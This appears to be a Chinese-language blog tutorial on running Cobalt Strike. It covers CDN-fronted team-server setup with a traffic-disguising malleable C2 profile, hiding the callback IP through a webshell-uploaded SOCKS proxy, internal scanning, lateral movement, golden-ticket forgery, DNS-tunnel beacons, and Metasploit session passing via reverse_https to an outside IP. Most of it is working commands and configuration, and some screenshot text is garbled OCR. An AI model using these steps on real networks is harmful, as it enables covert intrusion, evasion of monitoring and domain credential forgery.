CobaltStrike

@wintry大约 6 分钟

团队服务器搭建

1)生成SSL证书

证书直接使用Cloudflare提供的证书

使用默认配置生成证书和秘钥后(server.pem server.key),复制粘贴到服务器上

生成证书

# 这里cdn.publab.cf是我的域名
openssl pkcs12 -export -in server.pem -inkey server.key -out cdn.publab.cf.p12 -name cdn.publab.cf -passout pass:999000



#生成CS证书
keytool -importkeystore -deststorepass 999000 -destkeypass 999000 -destkeystore cdn.publab.cf.store -srckeystore cdn.publab.cf.p12 -srcstoretype PKCS12 -srcstorepass 999000 -alias cdn.publab.cf

生成keystore放在CS的根目录下,确保keystore文件名与密码和https-certificate中设置的一致。Cloudflare默认的TLS配置为灵活,由于之前使用了Cloudflare给原服务器发的证书,我们可以改成完全(严格)提高安全性。

创建Cloudflare规则,不代理js请求(缓存级别-绕过)

2)配置Profile

需要使用Profile让Beacon和Teamserver之间的交互看起来尽可能像正常的流量

下载:https://github.com/threatexpress/malleable-c2/blob/master/jquery-c2.4.3.profileopen in new window

根据我们的域名对Profile进行修改,以便能够上线HTTP/HTTPS BEACON;

需要修改的内容主要有四处:

1、https-certificate块中更改keystore和密码

2、http-stager 块中的Host Header

3、http-get 块中的Host Header

4、http-post 块中的Host Header

使用CS自带的 c2lint 对profile语法进行检查,没有报错就行

./c2lint jquery.profile

需要更改Profile中的响应头配置,其中的

header "Content-Type" "application/javascript; charset=utf-8";
#改为
header "Content-Type" "application/*; charset=utf-8";

即可正常执行命令回显

3)启动团队服务器

nohup ./teamserver VPS-IP cs@admin.886 jquery.profile &

回连IP隐藏

cs4.5的监听器可以设置socks代理(可以直接使用公开socks上线,但是GWF肯定能记录)

1)用webshell在目标机器上上传一个本地socks代理工具

2)监听器代理填写127.0.0.1

3)目标机器上木马的回连地址会显示为IPV4回连地址,且流量监测设备不会抓取存储回连地址的流量

0  资 源 监 视 器  文 件 旧 监 视 器 ( M ) 帮 助 ( H )  概 述 CPU  0 名 称  囗  vmware-hOS—  匚 》 Feishu.exe  匚 》 Feishu.exe  囗  vmware.exe  匚 》 Feishu.exe  囗 system  囗 svchost.exe 仁  囗 svchost.exe 仁  网 络 活 动  TCP 连 接  按 sbl .exe 筛 选  名 称  sbl.exe  内 存  PID  7476  10804  17672  19 8  4  55  2908  101 亡 贮  17  磁 盘 网 络  发 法 ( 字 节 / 钞 )  148  126  30  25  9  1920 主 103  接 字 节 / 钞 )  30  26  0  43  17  本 地 端 口  1 188  总 数 ( 字 节 / 钞 )  178  30  26  , 228 Kbps 网 络 《 / 0  220 . 177 . 172 . 10  苤 0 % 网 络 使 用 率  远 程 端 口  1 0  数 包 丢 矢 一  延 迟 时 间 (ms)

CPU  sb5.exe  O GWCtl Srv  C) clash-win6•L  C) Feishuexe  (D Clash for WL  C) Feishu.exe  O System  TCP  sb5.exe  sb5.exe  PID  15668  19148  6176  15744  16692  15368  17672  4  PID  15668  Fug  74  1 A43  213  36  29  28  18  6,248  12  218  7  52  17  556  7,691  952  431  43  81  45  18  4 Kbps I/O  0%

常用功能

Host File

托管主机文件

Attacks-> Web Drive-by -> Host File

选择要托管的文件,选择任意URL,然后选择文件的mime类型

内网主机发现(C段ARP)

在会话列表视图中,右键获得的初始权限,扫描内网存活的主机和端口

[beacon] -> Explore -> Port Scanner

扫描到的存活主机会在targets中列出,并且可自己标记系统类型,查看目标开启的服务。

上线SSH主机

1、切换到targets视图,添加一个目标

2、右键这个新加的目标Login-> ssh即可让目标通过ssh上线,(需要用户名和密码)

数据透视监听器(中转)

数据透视监听器可以创建绑定到信标 (beacon) 或SSH会话的监听器。

这样可以创建新的反向会话,而无需与命令和控制基础结构进行更直接的连接。

[beacon]-> Pivoting-> Listener

接下来可以在targets视图中选择一个目标去psexec上线

Make Token

[beacon] -> Access -> Make Token

该对话框显示Cobalt Strike的凭据,并将所选凭据转换为令牌

golden-ticket 金票

生成Kerberos黄金票据,伪造域管理员权限。

[beacon] -> Access -> Golden Ticket

黄金票据需要以下四项信息

  1. 要伪造票据的用户
  2. 要伪造票据的域
  3. 域的 SID
  4. 域控制器中krbtgt用户的NTLM hash

DNS信道

数据通道

模式dns-txt是DNS TXT记录数据通道;默认值为DNS TXT记录数据通道。

模式dns是DNS A记录数据通道;使用信标的mode命令更改当前信标的数据通道。

操作步骤

1、c2服务器关闭53端口的服务

如果开着防火墙要放行53端口

lsof -i :53
systemctl stop systemd-resolved.service

2、在域名解析记录中,配一条A记录指向 teamserver 的IP

3、再配1条或多条NS记录用来做隧道,域名指向A记录(域名)

NS记录的作用是想知道ns1.xx.info这个域名的IP,去问cs.xx.infoopen in new window

MX  NS  NS  cs.c  Linfo.  .info.  600  600  600  SSL

在我们的 C2-VPS 执行以下命令监听 UDP53 端口,在任意一台机器上执行 nslookup ns记录

如果有查询数据,证明配置有效

tcpdump -n -i eth0 udp dst port 53

4、listener 选择Beacon DNS,DNS-Host都填NS记录

New Listener  Create a listener.  Name:  Payload  DNS CC  aeacon DNS  Payload Options  DNS Hosts:  nsl orangeb,v into  ns2_orangetw_into  x  -e  DNS Host (Stager): nsl  DNS port (Bind):

5、只有在有任务可用时,DNS Beacon才会激活,使用checkin命令来请求DNS信标激活

Cobalt Strike  Cobalt Strike View Attacks Reporting Help  external  Event Log  DNS CC  dns  listener  txt  host  nsl _  user  '_into  computer  note  bindto  beacons  nsl _  process  _into, ns2_r  pid  profile  arch  last  lgs  x  Listeners  internal A  x  payload  windows/öeacon  dns/reverse  Into  Add  Edit  port  Remove  Restart

与Metasploit联动

CS会话传递到MSF上

1、MSF监听

use exploit/multi/handler
set LHOST 192.168.0.104   #MSF的IP
set LPORT 8080
run
#[*] Started HTTP reverse handler on http://192.168.0.104:8080

2、CS上创建外部监听器

clip_image001

3、CS上派生到外部监听器(MSF)

[beacon] -> Spawn

Event Log  nttp_mst  one- Iner  pviov  x  aeacon X  payload  Listeners  x  host  p  Choose a payload  port  8080  reverse_tcp  nttp/reverse  nttp/reverse  bindto  beacons  windows,'toreign/reverse nttp  acon  reverse  profile  default  default  x  windows/beacon_reverse_tcp  host  pviov  nttp CC  one-liner  http_mst  payload  windows/öeacon  windows/beacon  windows/öeacon  nttp  nttp  windows/toreign/reverse nttp  port  801  8080

MSF会话传递到CS上

1、CS上创建一个https监听器

New Listener  Create a listener.  x  Name:  Payload  nttps_get_mst  aeacon HTTPS  Payload Options  HTTPS Hosts:  HTTPS Host (Stager): F  Profile:  HTTPS port (C2):  HTTPS port (Bind):  HTTPS Host Header:  HTTPS proxy:  default

2、MSF先把会话调到后台

meterpreter > background

3、MSF调用 payload_inject 模块

设置 lhost 和 lport 为 Cobalt Strike 的监听 IP 和端口

use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_https
set lhost 119.45.153.4
set lport 443
set DisablePayloadHandler True
set session 1
run